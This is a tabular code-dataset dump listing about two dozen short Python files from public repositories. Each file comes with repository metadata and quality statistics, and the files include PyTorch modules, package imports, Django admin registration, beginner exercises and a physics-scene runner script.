null	0	0	0	1	1	1	1	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
c8576243f7c6497256e66df1b3a82578086d2c44	157	py	Python	ensembler/activations/Cos.py	brandongk-ubco/ensembler	9d4ab1a07f686eee8b5a4e721a6acc44da3ef94d	[ "MIT" ]	null	null	null	ensembler/activations/Cos.py	brandongk-ubco/ensembler	9d4ab1a07f686eee8b5a4e721a6acc44da3ef94d	[ "MIT" ]	null	null	null	ensembler/activations/Cos.py	brandongk-ubco/ensembler	9d4ab1a07f686eee8b5a4e721a6acc44da3ef94d	[ "MIT" ]	null	null	null	import torch from torch import nn class Cos(nn.Module): def forward(self, input: torch.Tensor) -> torch.Tensor: return input - torch.cos(input)	22.428571	59	0.694268	23	157	4.73913	0.565217	0.183486	0	0	0	0	0	0	0	0	0	0.197452	157	7	60	22.428571	0.865079	0	0	0	0	0	0	0	0	0	0	1	0.2	false	0	0.4	0.2	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	1	1	0	5
c07302a84b7fa6aec93bae9f5d50da291e7f3386	823	py	Python	returns/pointfree/__init__.py	nurumaik/returns	7e2058162192b532cdf0243a3463bdd508077bde	[ "BSD-2-Clause" ]	null	null	null	returns/pointfree/__init__.py	nurumaik/returns	7e2058162192b532cdf0243a3463bdd508077bde	[ "BSD-2-Clause" ]	null	null	null	returns/pointfree/__init__.py	nurumaik/returns	7e2058162192b532cdf0243a3463bdd508077bde	[ "BSD-2-Clause" ]	null	null	null	from returns.pointfree.apply import apply as apply from returns.pointfree.bind import bind as bind from returns.pointfree.bind_context import bind_context as bind_context from returns.pointfree.bind_context import bind_context2 as bind_context2 from returns.pointfree.bind_context import bind_context3 as bind_context3 from returns.pointfree.bind_io import bind_io as bind_io from returns.pointfree.bind_ioresult import bind_ioresult as bind_ioresult from returns.pointfree.bind_result import bind_result as bind_result from returns.pointfree.map import map_ as map_ from returns.pointfree.modify_env import modify_env as modify_env from returns.pointfree.modify_env import modify_env2 as modify_env2 from returns.pointfree.modify_env import modify_env3 as modify_env3 from returns.pointfree.rescue import rescue as rescue	58.785714	74	0.873633	131	823	5.267176	0.145038	0.207246	0.376812	0.243478	0.356522	0.356522	0.356522	0	0	0	0.010738	0.094775	823	13	75	63.307692	0.915436	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
c080ccef92ecc4ea9ea29493b58e9ecf2e315232	302	py	Python	forward_prop.py	liqianxi/House-Board-Number-Classifier-Using-CNN	67504223f589f88c0d363ae3b672b0b8da5c50a7	[ "MIT" ]	null	null	null	forward_prop.py	liqianxi/House-Board-Number-Classifier-Using-CNN	67504223f589f88c0d363ae3b672b0b8da5c50a7	[ "MIT" ]	null	null	null	forward_prop.py	liqianxi/House-Board-Number-Classifier-Using-CNN	67504223f589f88c0d363ae3b672b0b8da5c50a7	[ "MIT" ]	null	null	null	from scipy.io import loadmat from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Conv2D, Flatten, Dropout, MaxPooling2D from tensorflow.keras.preprocessing.image import ImageDataGenerator import os import numpy as np import matplotlib.pyplot as plt import utility	37.75	81	0.850993	41	302	6.268293	0.634146	0.163424	0.22179	0	0	0	0	0	0	0	0.007407	0.10596	302	8	82	37.75	0.944444	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	0	null	0	1	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
c08751026476e56a7336fbec304550800c200f47	80	py	Python	04/01/class_method/fromtimestamp.py	pylangstudy/201709	53d868786d7327a83bfa7f4149549c6f9855a6c6	[ "CC0-1.0" ]	null	null	null	04/01/class_method/fromtimestamp.py	pylangstudy/201709	53d868786d7327a83bfa7f4149549c6f9855a6c6	[ "CC0-1.0" ]	32	2017-09-01T00:52:17.000Z	2017-10-01T00:30:02.000Z	04/01/class_method/fromtimestamp.py	pylangstudy/201709	53d868786d7327a83bfa7f4149549c6f9855a6c6	[ "CC0-1.0" ]	null	null	null	import datetime import time print(datetime.datetime.fromtimestamp(time.time()))	20	51	0.825	10	80	6.6	0.5	0	0	0	0	0	0	0	0	0	0	0.0625	80	3	52	26.666667	0.88	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.666667	0	0.666667	0.333333	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
c087c8fc0cc62cc3ec1cec88ab198ab6f900c03d	133	py	Python	cup_project/pipeline_processing.py	MthBr/kg_embedding_for_medical_booking_data	1a44ad1f51e9d39766ed93fcdf26ce4c757cc130	[ "MIT" ]	null	null	null	cup_project/pipeline_processing.py	MthBr/kg_embedding_for_medical_booking_data	1a44ad1f51e9d39766ed93fcdf26ce4c757cc130	[ "MIT" ]	null	null	null	cup_project/pipeline_processing.py	MthBr/kg_embedding_for_medical_booking_data	1a44ad1f51e9d39766ed93fcdf26ce4c757cc130	[ "MIT" ]	null	null	null	from cup_project.data_exp import exploration from cup_project.etl import etl from cup_project.feature_eng import build_features	14.777778	50	0.849624	21	133	5.095238	0.571429	0.196262	0.392523	0	0	0	0	0	0	0	0	0.12782	133	8	51	16.625	0.922414	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	1	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
8d0998db1ef06dbef60bec41fab42c5654be1fc4	192	py	Python	Cap_4/ex4.5.py	gguilherme42/Livro-de-Python	465a509d50476fd1a87239c71ed741639d58418b	[ "MIT" ]	4	2020-04-07T00:38:46.000Z	2022-03-10T03:34:42.000Z	Cap_4/ex4.5.py	gguilherme42/Livro-de-Python	465a509d50476fd1a87239c71ed741639d58418b	[ "MIT" ]	null	null	null	Cap_4/ex4.5.py	gguilherme42/Livro-de-Python	465a509d50476fd1a87239c71ed741639d58418b	[ "MIT" ]	1	2021-04-22T02:45:38.000Z	2021-04-22T02:45:38.000Z	idade = int(input('Digite a idade do seu carro: ')) print('Seu carro é novo!' if 0 < idade <= 3 else 'Seu carro é velho!') # Obs: se digitar um valor negativo, retornará: 'seu carro é velho!'	48	70	0.677083	34	192	3.823529	0.676471	0.246154	0.207692	0.215385	0	0	0	0	0	0	0.012821	0.1875	192	3	71	64	0.820513	0.34375	0	0	0	0.516129	0	0	0	0	0	1	0	false	0	0	0	0	0.5	0	0	0	null	1	1	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	1	5
8d0dfbc13d318850622db968f11da53c3be693b8	28	py	Python	maplewrapper/__init__.py	vinmorel/MapleWrapper	449472407b08979e38c66ccd5d2c17d790a007d0	[ "MIT" ]	16	2020-10-03T03:21:35.000Z	2022-01-27T03:19:16.000Z	maplewrapper/__init__.py	vinmorel/MapleWrapper	449472407b08979e38c66ccd5d2c17d790a007d0	[ "MIT" ]	1	2022-01-02T16:28:36.000Z	2022-02-01T14:28:30.000Z	maplewrapper/__init__.py	vinmorel/MapleWrapper	449472407b08979e38c66ccd5d2c17d790a007d0	[ "MIT" ]	6	2020-09-19T17:37:10.000Z	2021-11-12T07:29:56.000Z	from .Wrapper import wrapper	28	28	0.857143	4	28	6	0.75	0	0	0	0	0	0	0	0	0	0	0.107143	28	1	28	28	0.96	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
2390855d6451430e5c183bdc3a5cad8ade56e77b	330	py	Python	jarm/exceptions/exceptions.py	PaloAltoNetworks/pyjarm	ecf16e1ca339ab7cfc3d5f9efa11b93f528a3097	[ "0BSD" ]	26	2021-01-16T13:16:32.000Z	2022-03-29T07:45:09.000Z	jarm/exceptions/exceptions.py	PaloAltoNetworks/pyjarm	ecf16e1ca339ab7cfc3d5f9efa11b93f528a3097	[ "0BSD" ]	4	2021-01-29T09:28:43.000Z	2021-05-29T15:16:57.000Z	jarm/exceptions/exceptions.py	PaloAltoNetworks/pyjarm	ecf16e1ca339ab7cfc3d5f9efa11b93f528a3097	[ "0BSD" ]	5	2021-01-15T17:09:28.000Z	2021-10-16T19:17:33.000Z	class PyJARMException(Exception): pass class PyJARMUnsupportValueException(PyJARMException): pass class PyJARMUnexpectedException(PyJARMException): pass class PyJARMInvalidTarget(PyJARMException): pass class PyJARMInvalidProxy(PyJARMException): pass class PyJARMProxyError(PyJARMException): pass	14.347826	53	0.787879	24	330	10.833333	0.375	0.173077	0.369231	0	0	0	0	0	0	0	0	0.157576	330	22	54	15	0.935252	0	0.5	0	0	0	0	0	0	0	0	1	0	true	0.5	0	0	0.5	0	1	0	1	null	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	1	0	0	0	0	5
9b211728575a766fd07968b7e0396c75276f07c0	196	py	Python	projects/admin.py	Carolwanzuu/The_Awwward	37e4a49bd15e5db320d1940aac346fd1bb939113	[ "MIT" ]	null	null	null	projects/admin.py	Carolwanzuu/The_Awwward	37e4a49bd15e5db320d1940aac346fd1bb939113	[ "MIT" ]	null	null	null	projects/admin.py	Carolwanzuu/The_Awwward	37e4a49bd15e5db320d1940aac346fd1bb939113	[ "MIT" ]	null	null	null	from django.contrib import admin from .models import Profiles, Projects,Review # Register your models here. admin.site.register(Profiles) admin.site.register(Projects) admin.site.register(Review)	28	45	0.821429	27	196	5.962963	0.481481	0.167702	0.31677	0	0	0	0	0	0	0	0	0.086735	196	7	46	28	0.899441	0.132653	0	0	0	0	0	0	0	0	0	1	0	true	0	0.4	0	0.4	0	1	0	0	null	0	1	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
f1c68aba9bebadf04ac815c6c5cfdc0836dfbafc	81	py	Python	sage/__init__.py	jjanizek/sage	fc55d45ea857811df3618177382668d02af72fa7	[ "MIT" ]	null	null	null	sage/__init__.py	jjanizek/sage	fc55d45ea857811df3618177382668d02af72fa7	[ "MIT" ]	null	null	null	sage/__init__.py	jjanizek/sage	fc55d45ea857811df3618177382668d02af72fa7	[ "MIT" ]	null	null	null	from sage import utils from .samplers import PermutationSampler, IteratedSampler	27	57	0.864198	9	81	7.777778	0.777778	0	0	0	0	0	0	0	0	0	0	0.111111	81	2	58	40.5	0.972222	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
f1d44a2a1c553c629a461b7a8433d543f605b941	82	py	Python	1 - Estrutura sequencial/01.py	OdairRos/Exercicios-Wiki-Python	df5aa31713ae6dcab1b4e273a21549696293e85c	[ "MIT" ]	1	2021-05-14T01:29:29.000Z	2021-05-14T01:29:29.000Z	1 - Estrutura sequencial/01.py	OdairRos/Exercicios-Wiki-Python	df5aa31713ae6dcab1b4e273a21549696293e85c	[ "MIT" ]	null	null	null	1 - Estrutura sequencial/01.py	OdairRos/Exercicios-Wiki-Python	df5aa31713ae6dcab1b4e273a21549696293e85c	[ "MIT" ]	null	null	null	#Faça um Programa que mostre a mensagem Alo mundo na tela print("Alo mundo");	20.5	58	0.719512	14	82	4.214286	0.857143	0.271186	0	0	0	0	0	0	0	0	0	0.207317	82	3	59	27.333333	0.907692	0.682927	0	0	0	0.409091	0	0	0	0	0	1	0	true	0	0	0	0	1	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	1	5
f1dd14b9eced9b7304d2fd952efe4dada9d06675	404	py	Python	lastpass/session.py	thardie/lastpass-python	403efc252844d5b9cb222ea68ccb14aab0107440	[ "MIT" ]	null	null	null	lastpass/session.py	thardie/lastpass-python	403efc252844d5b9cb222ea68ccb14aab0107440	[ "MIT" ]	null	null	null	lastpass/session.py	thardie/lastpass-python	403efc252844d5b9cb222ea68ccb14aab0107440	[ "MIT" ]	null	null	null	# coding: utf-8 class Session(object): def __init__(self, id, key_iteration_count, token=None, trust_id=None): self.id = id self.key_iteration_count = key_iteration_count self.token = token self.trust_id = trust_id def __eq__(self, other): return self.id == other.id and self.key_iteration_count == other.key_iteration_count and self.token == other.token	36.727273	122	0.688119	59	404	4.355932	0.338983	0.233463	0.330739	0.163424	0	0	0	0	0	0	0.003155	0.215347	404	10	123	40.4	0.807571	0.032178	0	0	0	0	0	0	0	0	0	1	0.25	false	0	0	0.125	0.5	0	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	0	1	0	0	5
f1ea7bf397ba42635d3d2d651ddb7547f251fd3e	279	py	Python	dbuspy/objects.py	ArunMj/dbuspy	31c58dc7fa8a822d411faf2f5bf4d8f9ec8cb3f6	[ "MIT" ]	null	null	null	dbuspy/objects.py	ArunMj/dbuspy	31c58dc7fa8a822d411faf2f5bf4d8f9ec8cb3f6	[ "MIT" ]	null	null	null	dbuspy/objects.py	ArunMj/dbuspy	31c58dc7fa8a822d411faf2f5bf4d8f9ec8cb3f6	[ "MIT" ]	null	null	null	class DBusObjectHandler(object): def __init__(self, client): self.client = client def get_remote_object_proxy(self, busname, object_path, interfaces): return RemoteObjectProxy(self, busname, object_path) class RemoteObjectProxy(object): pass	16.411765	72	0.716846	30	279	6.366667	0.533333	0.104712	0.17801	0.219895	0	0	0	0	0	0	0	0.204301	279	17	73	16.411765	0.86036	0	0	0	0	0	0	0	0	0	0	1	0.285714	false	0.142857	0	0.142857	0.714286	0	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	1	0	1	1	0	5
f1f4dc41a13500def278757b3d679ce8641d5df7	30	py	Python	aheui/version.py	minacle/rpaheui	b66f4885752ec9ea608b9a5cfe82b205609531e5	[ "BSD-2-Clause" ]	53	2015-03-19T13:09:09.000Z	2022-02-02T03:01:11.000Z	aheui/version.py	minacle/rpaheui	b66f4885752ec9ea608b9a5cfe82b205609531e5	[ "BSD-2-Clause" ]	11	2015-10-09T08:27:47.000Z	2020-08-14T15:07:51.000Z	aheui/version.py	minacle/rpaheui	b66f4885752ec9ea608b9a5cfe82b205609531e5	[ "BSD-2-Clause" ]	14	2015-03-20T15:24:31.000Z	2020-07-16T13:56:15.000Z	VERSION = '1.2.2-20-gee8ab38'	15	29	0.666667	6	30	3.333333	0.833333	0	0	0	0	0	0	0	0	0	0.296296	0.1	30	1	30	30	0.444444	0	0	0	0	0.566667	0	0	0	0	0	1	0	false	0	0	0	0	0	1	1	0	null	0	0	0	0	0	0	0	0	0	1	1	0	0	1	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
7b1e6abb8954d488a95da61fd60710c2f7e67014	82	py	Python	D3Q/src/deep_dialog/usersims/__init__.py	Yuqing2018/D3Q_Python3	2a9918494e3f0ed18f9b7560b1e6f13119fbee91	[ "MIT" ]	1	2021-05-29T01:32:49.000Z	2021-05-29T01:32:49.000Z	D3Q/src/deep_dialog/usersims/__init__.py	Yuqing2018/D3Q_Python3	2a9918494e3f0ed18f9b7560b1e6f13119fbee91	[ "MIT" ]	null	null	null	D3Q/src/deep_dialog/usersims/__init__.py	Yuqing2018/D3Q_Python3	2a9918494e3f0ed18f9b7560b1e6f13119fbee91	[ "MIT" ]	null	null	null	from .usersim_rule import * from .usersim_model import * from .RealUser import *	27.333333	29	0.768293	11	82	5.545455	0.545455	0.360656	0	0	0	0	0	0	0	0	0	0.158537	82	3	30	27.333333	0.884058	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
9e4ad9223791d212d337a1c024219f43146a745d	216	py	Python	leet/strings/removeVowels.py	monishshah18/python-cp-cheatsheet	a5514b08816959de1198156f7764c54a7a585f20	[ "Apache-2.0" ]	140	2020-10-21T13:23:52.000Z	2022-03-31T15:09:45.000Z	leet/strings/removeVowels.py	stacykutyepov/python-cp-cheatsheet	a00a57e1b36433648d1cace331e15ff276cef189	[ "Apache-2.0" ]	1	2021-07-22T14:01:25.000Z	2021-07-22T14:01:25.000Z	leet/strings/removeVowels.py	stacykutyepov/python-cp-cheatsheet	a00a57e1b36433648d1cace331e15ff276cef189	[ "Apache-2.0" ]	33	2020-10-21T14:17:02.000Z	2022-03-25T11:25:03.000Z	class Solution: def removeVowels(self, S: str) -> str: vw = set('aeiou') return "".join([c for c in S if c not in vw]) def removeVowels(self, S):str return re.sub('a\|e\|i\|o\|u', '', S)	27	53	0.541667	37	216	3.162162	0.648649	0.25641	0.324786	0.34188	0.393162	0	0	0	0	0	0	0.287037	216	8	54	27	0.75974	0	0	0	0	0.064516	0	0	0	0	0	0	null	null	0	0	null	null	0	0	0	0	null	1	1	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	0	0	5
9e5b64bb77f0967ca555c3c5c6d981fdeda9f0df	125	py	Python	examples/apt_blueprint/backend.py	globus/action-provider-tools	9c84513bb0c6129ec97f7f03bd4052e6c021f14c	[ "Apache-2.0" ]	3	2020-08-26T19:43:45.000Z	2022-02-11T20:35:52.000Z	examples/apt_blueprint/backend.py	globus/action-provider-tools	9c84513bb0c6129ec97f7f03bd4052e6c021f14c	[ "Apache-2.0" ]	20	2020-06-11T21:19:54.000Z	2022-02-03T19:11:20.000Z	examples/apt_blueprint/backend.py	globus/action-provider-tools	9c84513bb0c6129ec97f7f03bd4052e6c021f14c	[ "Apache-2.0" ]	null	null	null	from typing import Dict from globus_action_provider_tools import ActionStatus simple_backend: Dict[str, ActionStatus] = {}	20.833333	53	0.824	16	125	6.1875	0.75	0	0	0	0	0	0	0	0	0	0	0.12	125	5	54	25	0.9	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.666667	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
9e7a4b733d13c04895e828b5da86612eab067c55	74	py	Python	python/testData/refactoring/move/module/after/src/a.py	teddywest32/intellij-community	e0268d7a1da1d318b441001448cdd3e8929b2f29	[ "Apache-2.0" ]	null	null	null	python/testData/refactoring/move/module/after/src/a.py	teddywest32/intellij-community	e0268d7a1da1d318b441001448cdd3e8929b2f29	[ "Apache-2.0" ]	null	null	null	python/testData/refactoring/move/module/after/src/a.py	teddywest32/intellij-community	e0268d7a1da1d318b441001448cdd3e8929b2f29	[ "Apache-2.0" ]	1	2020-11-27T10:36:50.000Z	2020-11-27T10:36:50.000Z	import p1 from p1 import m1 from p1.m1 import foo p1.m1.foo m1.bar m1 foo	9.25	21	0.756757	18	74	3.111111	0.333333	0.214286	0	0	0	0	0	0	0	0	0.15	0.189189	74	8	22	9.25	0.783333	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.428571	0	0.428571	0	1	0	0	null	1	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
9e9dde5e30025cbcfe15f3cc6e040e715568b677	3,282	py	Python	python_api/machine_common_sense/run_mcs_intphys_samples.py	bzinberg/MCS	495562a0d4d0b1e3679b78f0f6fb568a1b9a9ae2	[ "Apache-2.0" ]	null	null	null	python_api/machine_common_sense/run_mcs_intphys_samples.py	bzinberg/MCS	495562a0d4d0b1e3679b78f0f6fb568a1b9a9ae2	[ "Apache-2.0" ]	null	null	null	python_api/machine_common_sense/run_mcs_intphys_samples.py	bzinberg/MCS	495562a0d4d0b1e3679b78f0f6fb568a1b9a9ae2	[ "Apache-2.0" ]	null	null	null	import sys from machine_common_sense.mcs import MCS if len(sys.argv) < 2: print('Usage: python run_mcs_intphys_samples.py <mcs_unity_build_file>') sys.exit() def run_scene(file_name): config_data, status = MCS.load_config_json_file(file_name) if status is not None: print(status) return config_file_path = file_name config_file_name = config_file_path[config_file_path.rfind('/')+1:] if 'name' not in config_data.keys(): config_data['name'] = config_file_name[0:config_file_name.find('.')] last_step = 30 if 'goal' in config_data.keys(): if 'last_step' in config_data['goal'].keys(): last_step = config_data['goal']['last_step'] output = controller.start_scene(config_data) for i in range(output.step_number + 1, last_step + 1): action = output.action_list[len(output.action_list) - 1] output = controller.step(action) if __name__ == "__main__": controller = MCS.create_controller(sys.argv[1], debug=True) run_scene('../scenes/intphys_gravity_quartet_1A_plausible.json') run_scene('../scenes/intphys_gravity_quartet_1B_plausible.json') run_scene('../scenes/intphys_gravity_quartet_1C_implausible.json') run_scene('../scenes/intphys_gravity_quartet_1D_implausible.json') run_scene('../scenes/intphys_object_permanence_quartet_1A_plausible.json') run_scene('../scenes/intphys_object_permanence_quartet_1B_plausible.json') run_scene('../scenes/intphys_object_permanence_quartet_1C_implausible.json') run_scene('../scenes/intphys_object_permanence_quartet_1D_implausible.json') run_scene('../scenes/intphys_object_permanence_quartet_2A_plausible.json') run_scene('../scenes/intphys_object_permanence_quartet_2B_plausible.json') run_scene('../scenes/intphys_object_permanence_quartet_2C_implausible.json') run_scene('../scenes/intphys_object_permanence_quartet_2D_implausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_1A_plausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_1B_plausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_1C_implausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_1D_implausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_2A_plausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_2B_plausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_2C_implausible.json') run_scene('../scenes/intphys_shape_constancy_quartet_2D_implausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1A_plausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1B_plausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1C_implausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_1D_implausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2A_plausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2B_plausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2C_implausible.json') run_scene('../scenes/intphys_spatio_temporal_continuity_quartet_2D_implausible.json')	50.492308	89	0.780926	435	3,282	5.377011	0.17931	0.099188	0.167593	0.251389	0.716118	0.716118	0.704147	0.701154	0.620351	0.283882	0.012594	0.104814	3,282	64	90	51.28125	0.783526	0	0	0	0	0.567815	0.548613	0	0	0	0	1	0.019231	false	0	0.038462	0	0.076923	0.038462	0	0	0	null	0	0	1	0	1	1	1	0	0	0	0	0	0	0	0	0	0	0	1	null	0	0	0	0	0	0	0	0	0	0	0	5
9eaf87c7b7338dffc10bbed7a286305ae22a6d82	170	py	Python	DataSourceModules/DataFormat.py	lbnl-cybersecurity/hpc_data_integrity_code	0b8e1c77e4c59eed000ac9bd3b264d100c045797	[ "BSD-3-Clause-LBNL" ]	1	2020-10-15T01:03:59.000Z	2020-10-15T01:03:59.000Z	DataSourceModules/DataFormat.py	lbnl-cybersecurity/hpc_data_integrity_code	0b8e1c77e4c59eed000ac9bd3b264d100c045797	[ "BSD-3-Clause-LBNL" ]	null	null	null	DataSourceModules/DataFormat.py	lbnl-cybersecurity/hpc_data_integrity_code	0b8e1c77e4c59eed000ac9bd3b264d100c045797	[ "BSD-3-Clause-LBNL" ]	null	null	null	#!/usr/bin/python3 class DataFormat: def init(self): pass def CheckOriginalData(data): #TODO using dynamic data structure print("TODO")	17	42	0.617647	19	170	5.526316	0.842105	0	0	0	0	0	0	0	0	0	0.008197	0.282353	170	10	43	17	0.852459	0.294118	0	0	0	0.033898	0	0	0	0.1	0	1	0.4	false	0.2	0	0	0.6	0.2	1	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	1	0	0	1	0	1	0	0	1	0	5
7ba3ebd928da40354f70746b3dcc878fc105495c	199	py	Python	bottypes/command.py	Kileak/OTA-Challenge-Bot	aa3663be856e45a6969c9d3b9c141a514d66752d	[ "MIT" ]	null	null	null	bottypes/command.py	Kileak/OTA-Challenge-Bot	aa3663be856e45a6969c9d3b9c141a514d66752d	[ "MIT" ]	null	null	null	bottypes/command.py	Kileak/OTA-Challenge-Bot	aa3663be856e45a6969c9d3b9c141a514d66752d	[ "MIT" ]	null	null	null	from abc import ABC, abstractmethod class Command(ABC): """Defines the command interface.""" def __init__(self): pass def execute(self, slack_client, args, user_id, channel_id): pass	19.9	68	0.708543	27	199	4.962963	0.740741	0	0	0	0	0	0	0	0	0	0	0.18593	199	9	69	22.111111	0.82716	0.150754	0	0	0	0	0	0	0	0	0	1	0.5	false	0.5	0.25	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	1	0	0	1	0	5
c8a14781d95dbc0e5350af32be67d5cb20e75be9	73	py	Python	script/Ubuntu/kaggle_csv.py	cgsdfc/Neural-Dialogue-Generation	fd884847cc6252c5ba7a5906836a294ae6e1b20c	[ "MIT" ]	1	2019-04-05T02:45:14.000Z	2019-04-05T02:45:14.000Z	script/Ubuntu/kaggle_csv.py	cgsdfc/Neural-Dialogue-Generation	fd884847cc6252c5ba7a5906836a294ae6e1b20c	[ "MIT" ]	null	null	null	script/Ubuntu/kaggle_csv.py	cgsdfc/Neural-Dialogue-Generation	fd884847cc6252c5ba7a5906836a294ae6e1b20c	[ "MIT" ]	null	null	null	import unicodecsv class RawExample: def __init__(self): pass	14.6	23	0.684932	8	73	5.75	1	0	0	0	0	0	0	0	0	0	0	0.260274	73	5	24	14.6	0.851852	0	0	0	0	0	0	0	0	0	0	1	0.25	false	0.25	0.25	0	0.75	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	1	0	0	1	0	5
cd9fa83bc17ed0945bc51696d2ca429ac6f1a197	360	py	Python	ch32/classobject.py	eroicaleo/LearningPython	297d46eddce6e43ce0c160d2660dff5f5d616800	[ "MIT" ]	1	2020-10-12T13:33:29.000Z	2020-10-12T13:33:29.000Z	ch32/classobject.py	eroicaleo/LearningPython	297d46eddce6e43ce0c160d2660dff5f5d616800	[ "MIT" ]	null	null	null	ch32/classobject.py	eroicaleo/LearningPython	297d46eddce6e43ce0c160d2660dff5f5d616800	[ "MIT" ]	1	2016-11-09T07:28:45.000Z	2016-11-09T07:28:45.000Z	#!/usr/bin/env python class C: pass X = C() print(type(X), type(C)) print(isinstance(X, object)) print(isinstance(C, object)) print(type('spam'), type(str)) print(isinstance('spam', object)) print(isinstance(str, object)) print(type(type), type(object)) print(isinstance(type, object)) print(isinstance(object, type)) print(C.__base__) print(C().__repr__)	18.947368	33	0.711111	54	360	4.592593	0.296296	0.362903	0.33871	0.201613	0	0	0	0	0	0	0	0.088889	360	18	34	20	0.756098	0.055556	0	0	0	0.023599	0	0	0	0	0	1	0	false	0.076923	0	0	0.076923	0.846154	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	1	0	0	0	1	5
a81c92c4fdbe687122174c2b045a829c949cc887	252	py	Python	grimp_package_metrics/__init__.py	Incognito/python-architecture-linter	534e1508aaa46920b31601f8fffbb0f132844883	[ "MIT" ]	5	2021-06-30T09:33:09.000Z	2021-08-18T12:20:32.000Z	grimp_package_metrics/__init__.py	Incognito/python-architecture-linter	534e1508aaa46920b31601f8fffbb0f132844883	[ "MIT" ]	45	2021-06-27T10:35:43.000Z	2022-03-28T04:09:05.000Z	grimp_package_metrics/__init__.py	Incognito/python-architecture-linter	534e1508aaa46920b31601f8fffbb0f132844883	[ "MIT" ]	1	2021-07-04T15:48:00.000Z	2021-07-04T15:48:00.000Z	from grimp_package_metrics.coupling_metrics import ( PackageMetrics, get_all_package_metrics, ) from grimp_package_metrics.dependency_cycles import dependency_cycles __all__ = ["PackageMetrics", "get_all_package_metrics", "dependency_cycles"]	31.5	76	0.833333	29	252	6.62069	0.37931	0.291667	0.166667	0.239583	0.354167	0	0	0	0	0	0	0.099206	252	7	77	36	0.845815	0	0	0	0	0.214286	0.09127	0	0	0	0	1	0	false	0	0.333333	0	0.333333	0	1	0	0	null	1	0	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	0	0	5
